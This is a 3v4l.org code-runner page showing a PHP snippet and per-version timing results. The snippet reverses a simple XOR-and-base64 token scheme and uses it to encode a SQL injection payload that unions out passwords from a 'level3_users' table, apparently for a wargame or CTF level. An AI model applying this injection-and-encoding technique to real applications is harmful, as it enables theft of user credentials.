3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,2,3,4,5,6,password from level3_users"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01318.80
8.3.50.0090.01122.17
8.3.40.0090.00619.05
8.3.30.0070.01118.92
8.3.20.0090.00618.77
8.3.10.0040.00421.05
8.3.00.0180.00023.47
8.2.180.0150.00016.75
8.2.170.0100.00722.96
8.2.160.0090.00620.53
8.2.150.0130.00724.18
8.2.140.0080.00024.66
8.2.130.0030.00626.16
8.2.120.0040.00419.66
8.2.110.0050.00522.25
8.2.100.0080.00418.03
8.2.90.0050.00319.30
8.2.80.0040.00418.05
8.2.70.0000.00817.63
8.2.60.0000.00817.93
8.2.50.0040.00418.07
8.2.40.0080.00318.28
8.2.30.0030.00621.16
8.2.20.0070.00017.90
8.2.10.0050.00317.98
8.2.00.0060.00617.85
8.1.280.0090.00625.92
8.1.270.0040.00423.99
8.1.260.0080.00026.35
8.1.250.0030.00628.09
8.1.240.0060.00322.59
8.1.230.0110.00020.89
8.1.220.0000.00818.77
8.1.210.0080.00018.95
8.1.200.0030.00617.47
8.1.190.0070.00017.51
8.1.180.0000.00818.10
8.1.170.0090.00018.63
8.1.160.0040.00418.93
8.1.150.0000.00718.88
8.1.140.0000.00717.74
8.1.130.0040.00417.88
8.1.120.0000.00717.54
8.1.110.0040.00417.57
8.1.100.0000.00717.54
8.1.90.0040.00417.62
8.1.80.0050.00317.52
8.1.70.0030.00317.52
8.1.60.0040.00417.65
8.1.50.0000.00817.68
8.1.40.0030.00917.72
8.1.30.0050.00317.68
8.1.20.0000.00817.78
8.1.10.0000.00817.63
8.1.00.0060.00317.55
8.0.300.0040.00419.84
8.0.290.0050.00217.00
8.0.280.0000.00718.40
8.0.270.0030.00317.34
8.0.260.0030.00316.99
8.0.250.0050.00317.11
8.0.240.0040.00417.09
8.0.230.0000.00717.03
8.0.220.0040.00416.98
8.0.210.0070.00017.07
8.0.200.0000.00717.19
8.0.190.0040.00416.97
8.0.180.0040.00417.06
8.0.170.0030.00717.13
8.0.160.0000.00817.18
8.0.150.0040.00417.11
8.0.140.0000.00717.07
8.0.130.0000.00713.54
8.0.120.0000.00917.09
8.0.110.0070.00016.96
8.0.100.0060.00317.00
8.0.90.0000.00717.05
8.0.80.0100.00716.96
8.0.70.0000.00817.03
8.0.60.0050.00317.07
8.0.50.0000.00816.86
8.0.30.0090.01017.55
8.0.20.0150.00317.40
8.0.10.0070.00017.13
8.0.00.0100.00916.98
7.4.330.0030.00314.99
7.4.320.0030.00316.86
7.4.300.0040.00416.84
7.4.290.0000.00716.77
7.4.280.0070.00016.73
7.4.270.0000.00916.73
7.4.260.0050.00013.52
7.4.250.0040.00416.69
7.4.240.0000.00716.86
7.4.230.0070.00016.84
7.4.220.0070.01116.56
7.4.210.0060.01016.83
7.4.200.0070.00016.95
7.4.190.0070.00016.89
7.4.160.0130.01016.91
7.4.150.0080.00817.40
7.4.140.0120.00817.86
7.4.130.0100.00716.77
7.4.120.0150.00316.73
7.4.110.0120.00616.86
7.4.100.0060.01216.76
7.4.90.0210.00416.71
7.4.80.0090.00919.39
7.4.70.0030.01516.78
7.4.60.0110.00516.50
7.4.50.0040.00416.72
7.4.40.0090.00322.52
7.4.30.0080.00816.83
7.4.00.0040.01415.13
7.3.330.0000.00513.38
7.3.320.0000.00713.30
7.3.310.0000.00816.58
7.3.300.0020.00516.46
7.3.290.0040.01216.57
7.3.280.0080.01016.52
7.3.270.0090.00917.40
7.3.260.0100.01418.24
7.3.250.0100.01116.84
7.3.240.0130.00316.52
7.3.230.0150.00316.59
7.3.210.0120.00616.84
7.3.200.0130.01019.39
7.3.190.0070.01016.77
7.3.180.0100.00716.54
7.3.170.0030.01416.46
7.3.160.0130.00416.89
7.3.120.0060.00915.13
7.2.330.0130.00416.96
7.2.320.0130.00316.90
7.2.310.0140.00416.89
7.2.300.0070.01116.79
7.2.290.0070.01116.91
7.2.60.0100.00317.05
7.2.00.0060.01019.78
7.1.200.0040.00815.82
7.1.100.0040.00418.68
7.1.70.0000.00717.29
7.1.60.0120.00919.40
7.1.50.0040.01117.21
7.1.00.0030.04022.37
7.0.200.0000.00716.86
7.0.140.0100.06722.05
7.0.80.0030.05719.91
7.0.70.0200.09319.95
7.0.60.0170.06019.98
7.0.50.0330.08320.28
7.0.40.0130.08020.00
7.0.30.0100.08020.08
7.0.20.0070.08320.15
7.0.10.0130.07720.09
7.0.00.0100.08320.07
5.6.280.0070.07021.11
5.6.230.0130.07320.69
5.6.220.0100.04020.67
5.6.210.0030.05020.65
5.6.200.0100.05721.14
5.6.190.0030.06321.02
5.6.180.0100.08721.08
5.6.170.0030.08321.14
5.6.160.0100.08020.95
5.6.150.0070.08020.96
5.6.140.0030.04721.02
5.6.130.0100.05320.96
5.6.120.0030.09320.96
5.6.110.0070.08021.04
5.6.100.0000.10021.01
5.6.90.0030.08720.94
5.6.80.0070.04320.35
5.6.70.0070.07720.52
5.6.60.0070.06320.39
5.6.50.0070.05020.56
5.6.40.0130.06720.41
5.6.30.0070.07720.45
5.6.20.0100.07720.44
5.6.10.0200.07020.36
5.6.00.0000.07320.34
5.5.370.0070.05720.50
5.5.360.0130.06720.51
5.5.350.0100.07720.46
5.5.340.0170.07720.90
5.5.330.0100.08020.80
5.5.320.0030.08720.82
5.5.310.0100.07020.88
5.5.300.0070.06320.80
5.5.290.0030.04720.94
5.5.280.0070.04720.80
5.5.270.0230.05720.63
5.5.260.0130.06320.75
5.5.250.0000.08720.73
5.5.240.0100.07320.25
5.5.230.0070.08020.16
5.5.220.0070.06020.28
5.5.210.0100.07320.14
5.5.200.0070.07020.15
5.5.190.0070.05020.17
5.5.180.0100.08020.29
5.5.160.0130.06720.15
5.5.150.0100.06320.23
5.5.140.0130.07320.19
5.5.130.0100.06720.28
5.5.120.0100.07320.00
5.5.110.0070.08720.27
5.5.100.0070.08020.14
5.5.90.0100.08020.02
5.5.80.0130.08019.96
5.5.70.0030.08720.13
5.5.60.0100.07019.97
5.5.50.0070.08020.09
5.5.40.0200.06020.07
5.5.30.0100.07720.16
5.5.20.0070.06020.05
5.5.10.0130.05320.14
5.5.00.0000.06020.07
5.4.450.0100.04319.18
5.4.440.0070.07019.54
5.4.430.0230.06719.23
5.4.420.0100.05319.20
5.4.410.0100.04019.23
5.4.400.0100.07319.23
5.4.390.0170.06319.13
5.4.380.0070.05019.13
5.4.370.0000.05319.16
5.4.360.0070.04719.09
5.4.350.0130.07018.88
5.4.340.0030.07719.16
5.4.320.0070.05019.13
5.4.310.0000.08319.04
5.4.300.0070.05318.91
5.4.290.0030.06018.94
5.4.280.0100.07318.88
5.4.270.0030.08019.03
5.4.260.0200.06319.18
5.4.250.0100.07719.12
5.4.240.0100.08019.15
5.4.230.0000.08018.87
5.4.220.0030.08019.12
5.4.210.0030.07319.04
5.4.200.0070.05319.08
5.4.190.0130.05019.22
5.4.180.0170.07019.14
5.4.170.0070.07718.89
5.4.160.0100.04319.14
5.4.150.0070.06019.11
5.4.140.0200.06016.52
5.4.130.0000.05716.39
5.4.120.0030.05316.36
5.4.110.0130.05016.34
5.4.100.0000.04716.54
5.4.90.0070.06716.45
5.4.80.0100.07316.40
5.4.70.0000.07016.43
5.4.60.0100.07316.34
5.4.50.0070.07316.32
5.4.40.0130.06716.52
5.4.30.0000.06716.44
5.4.20.0130.06716.48
5.4.10.0100.06716.36
5.4.00.0070.07315.70
5.3.290.0100.07014.62
5.3.280.0000.08014.62
5.3.270.0070.06714.59
5.3.260.0070.07714.61
5.3.250.0100.05714.57
5.3.240.0030.07314.62
5.3.230.0170.06014.73
5.3.220.0070.07014.50
5.3.210.0130.05714.64
5.3.200.0000.06014.50
5.3.190.0030.07714.59
5.3.180.0100.06314.56
5.3.170.0030.07014.59
5.3.160.0100.06014.52
5.3.150.0070.06714.71
5.3.140.0130.06714.70
5.3.130.0130.07014.49
5.3.120.0070.06014.67
5.3.110.0100.07314.69
5.3.100.0100.05714.19
5.3.90.0100.06713.97
5.3.80.0000.05314.03
5.3.70.0070.07014.09
5.3.60.0100.05014.15
5.3.50.0200.06714.07
5.3.40.0070.06014.01
5.3.30.0100.07314.02
5.3.20.0070.07313.58
5.3.10.0100.05013.67
5.3.00.0100.05713.62
5.2.170.0070.06011.77
5.2.160.0000.04011.77
5.2.150.0100.06011.77
5.2.140.0030.06011.77
5.2.130.0100.06011.77
5.2.120.0000.05711.77
5.2.110.0030.05311.77
5.2.100.0000.05711.77
5.2.90.0030.06311.77
5.2.80.0170.05011.77
5.2.70.0030.04311.77
5.2.60.0030.05711.77
5.2.50.0100.05711.77
5.2.40.0070.04011.77
5.2.30.0100.05711.77
5.2.20.0070.04311.77
5.2.10.0100.05711.77
5.2.00.0030.03011.77
5.1.60.0030.02311.77
5.1.50.0070.02311.77
5.1.40.0030.02311.77
5.1.30.0000.03011.77
5.1.20.0030.03011.77
5.1.10.0000.02711.77
5.1.00.0030.03011.77
5.0.50.0030.02011.77
5.0.40.0000.02011.77
5.0.30.0030.03311.77
5.0.20.0000.02011.77
5.0.10.0000.02011.77
5.0.00.0000.03311.77
4.4.90.0030.03711.77
4.4.80.0000.04011.77
4.4.70.0030.01711.77
4.4.60.0030.01711.77
4.4.50.0000.02011.77
4.4.40.0000.02711.77
4.4.30.0000.01711.77
4.4.20.0000.02011.77
4.4.10.0000.01711.77
4.4.00.0000.02711.77
4.3.110.0030.01711.77
4.3.100.0030.01311.77
4.3.90.0030.01311.77
4.3.80.0070.02011.77
4.3.70.0000.01711.77
4.3.60.0000.01711.77
4.3.50.0000.02011.77
4.3.40.0030.02011.77
4.3.30.0070.01011.77
4.3.20.0000.02711.77
4.3.10.0000.02011.77
4.3.00.0000.01711.77

preferences:
39.39 ms | 401 KiB | 5 Q